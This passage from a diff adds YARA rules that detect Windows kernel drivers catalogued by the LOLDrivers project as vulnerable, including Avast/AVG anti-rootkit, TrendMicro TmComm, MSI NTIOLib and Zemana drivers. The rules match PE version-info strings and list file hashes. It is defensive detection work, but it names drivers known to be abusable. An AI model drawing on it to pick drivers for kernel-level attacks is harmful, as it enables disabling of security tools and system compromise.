+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53"
+		date = "2023-06-14"
+		score = 40
+		id = "71c7a688-d20a-57c3-b4c5-b8344e936900"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000370032002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000370032002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_E452 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e4522e2cfa0b1f5d258a3cf85b87681d6969e0572f668024c465d635c236b5d9"
+		date = "2023-06-14"
+		score = 40
+		id = "15332784-229c-5b5e-b06c-2ea6cff64113"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0032002e0033003800320037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0032002e0033003800320037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Marvintestsolutionsinc_Hwsys_Hw_5596 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - hw.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "55963284bbd5a3297f39f12f0d8a01ed99fe59d008561e3537bcd4db4b4268fa"
+		hash = "4880f40f2e557cff38100620b9aa1a3a753cb693af16cd3d95841583edcb57a8"
+		date = "2023-06-14"
+		score = 40
+		id = "2a470258-2ec1-5d80-8ce8-d8f83a27c365"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570020002d002000570069006e0064006f007700730020004e0054002d003100300020002800330032002f00360034002000620069007400290020006b00650072006e0065006c0020006d006f00640065002000640072006900760065007200200066006f007200200050004300200070006f007200740073002f006d0065006d006f00720079002f0050004300490020006100630063006500730073 } /* FileDescription HWWindowsNTbitkernelmodedriverforPCportsmemoryPCIaccess */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e } /* CompanyName MarvinTestSolutionsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0039002e0038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0039002e0038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077002e007300790073 } /* InternalName Hwsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00480057 } /* ProductName HW */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480057002e007300790073 } /* OriginalFilename HWsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390036002d00320030003200310020004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightMarvinTestSolutionsIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Mydriverscom_Hwm_Drivergenius_08EB {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mydrivers.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "08eb2d2aa25c5f0af4e72a7e0126735536f6c2c05e9c7437282171afe5e322c6"
+		date = "2023-06-14"
+		score = 40
+		id = "a944a7a1-f938-548e-8788-a4733d777850"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440072006900760065007200470065006e0069007500730020004800610072006400770061007200650020006d006f006e00690074006f0072 } /* FileDescription DriverGeniusHardwaremonitor */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00790044007200690076006500720073002e0063006f006d } /* CompanyName MyDriverscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0032002e003700300037002e0031003200310034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032003000310036002e0037002e0037002e0031003200310034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480057004d } /* InternalName HWM */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00440072006900760065007200470065006e006900750073 } /* ProductName DriverGenius */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d00790064007200690076006500720073002e007300790073 } /* OriginalFilename mydriverssys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020004d00790044007200690076006500720073002e0063006f006d00200061006c006c002000720069006700680074 } /* LegalCopyright CopyrightMyDriverscomallright */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_3E27 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3e274df646f191d2705c0beaa35eeea84808593c3b333809f13632782e27ad75"
+		date = "2023-06-14"
+		score = 40
+		id = "5e116c70-6da1-5397-9b73-32955086c886"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 } /* FileDescription SandraDeviceDriverWinxUnicode */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 } /* CompanyName SiSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0037002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0037002e0031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 } /* InternalName SANDRA */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 } /* ProductName SiSoftwareSandra */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 } /* OriginalFilename SANDRA */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300037002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSiSoftwareLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Powertool_Kevpsys_Powertool_8E63 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kEvP64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8e6363a6393eb4234667c6f614b2072e33512866b3204f8395bbe01530d63f2f"
+		hash = "09b0e07af8b17db1d896b78da4dd3f55db76738ee1f4ced083a97d737334a184"
+		hash = "1aaa9aef39cb3c0a854ecb4ca7d3b213458f302025e0ec5bfbdef973cca9111c"
+		date = "2023-06-14"
+		score = 40
+		id = "0010c121-11bb-5068-a06d-aa136e5af0ad"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0050006f0077006500720054006f006f006c } /* FileDescription PowerTool */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0050006f0077006500720054006f006f006c } /* CompanyName PowerTool */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006b00450076005000360034002e007300790073 } /* InternalName kEvPsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050006f0077006500720054006f006f006c } /* ProductName PowerTool */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00450076005000360034002e007300790073 } /* OriginalFilename kEvPsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0050006f0077006500720054006f006f006c } /* LegalCopyright PowerTool */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_3B6E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3b6e85c8fed9e39b21b2eab0b69bc464272b2c92961510c36e2e2df7aa39861b"
+		date = "2023-06-14"
+		score = 40
+		id = "d2e411b6-da38-5ff0-a24a-78064a5fafcf"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_7C73 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7c731c0ea7f28671ab7787800db69739ea5cd6be16ea21045b4580cf95cbf73b"
+		hash = "fca10cde7d331b7f614118682d834d46125a65888e97bd9fda2df3f15797166c"
+		date = "2023-06-14"
+		score = 40
+		id = "ab7574a5-acba-5e3d-9259-e5833d43d195"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_1A42 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1a42ebde59e8f63804eaa404f79ee93a16bb33d27fb158c6bfbe6143226899a0"
+		date = "2023-06-14"
+		score = 40
+		id = "d776ad80-318f-5e3c-b006-daa70a14aff4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_EC5F {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ec5fac0b6bb267a2bd10fc80c8cca6718439d56e82e053d3ff799ce5f3475db5"
+		date = "2023-06-14"
+		score = 40
+		id = "1d73baba-017c-527d-9eb8-0eb9865656b6"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000370038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_34E0 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "34e0364a4952d914f23f271d36e11161fb6bb7b64aea22ff965a967825a4a4bf"
+		date = "2023-06-14"
+		score = 40
+		id = "11164331-fdba-5e7d-a2ea-4621b438060a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0035002e00390036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0035002e00390036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_D0BD {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d0bd1ae72aeb5f3eabf1531a635f990e5eaae7fdd560342f915f723766c80889"
+		date = "2023-06-14"
+		score = 40
+		id = "81712338-7518-565a-8004-4708808d93ee"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 } /* FileDescription NTIOLib */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00300031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e00300031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e } /* LegalCopyright CopyrightCMicroStarINTLCOLTD */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_3C18 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3c18ae965fba56d09a65770b4d8da54ccd7801f979d3ebd283397bc99646004b"
+		date = "2023-06-14"
+		score = 40
+		id = "94b7a58c-0092-5d81-985f-330599efe25a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310036002e003900320038 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_2B4C {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2b4c7d3820fe08400a7791e2556132b902a9bbadc1942de57077ecb9d21bf47a"
+		date = "2023-06-14"
+		score = 40
+		id = "a337e8f1-1473-51a4-9098-69719f0c48e4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000370034002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000370034002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Dtresearchinc_Iomemsys_Iomemsys_3D23 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iomem64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3d23bdbaf9905259d858df5bf991eb23d2dc9f4ecda7f9f77839691acef1b8c4"
+		date = "2023-06-14"
+		score = 40
+		id = "b29e4411-a408-5bd5-a763-73c18b85e2b2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044005400520020004b00650072006e0065006c0020006d006f006400650020006400720069007600650072 } /* FileDescription DTRKernelmodedriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440054002000520065007300650061007200630068002c00200049006e0063002e } /* CompanyName DTResearchInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0033002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0033002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* InternalName iomemsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* ProductName iomemsys */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* OriginalFilename iomemsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0044005400200052006500730065006100720063006800200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright DTResearchIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_496F {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "496f4a4021226fb0f1b5f71a7634c84114c29faa308746a12c2414adb6b2a40b"
+		date = "2023-06-14"
+		score = 40
+		id = "7754e086-1936-5e47-9576-ee940453c5e7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 } /* FileDescription SandraDeviceDriverWinxUnicode */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 } /* CompanyName SiSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0035002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0035002e0031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 } /* InternalName SANDRA */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 } /* ProductName SiSoftwareSandra */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 } /* OriginalFilename SANDRA */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300036002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSiSoftwareLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_1B00 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
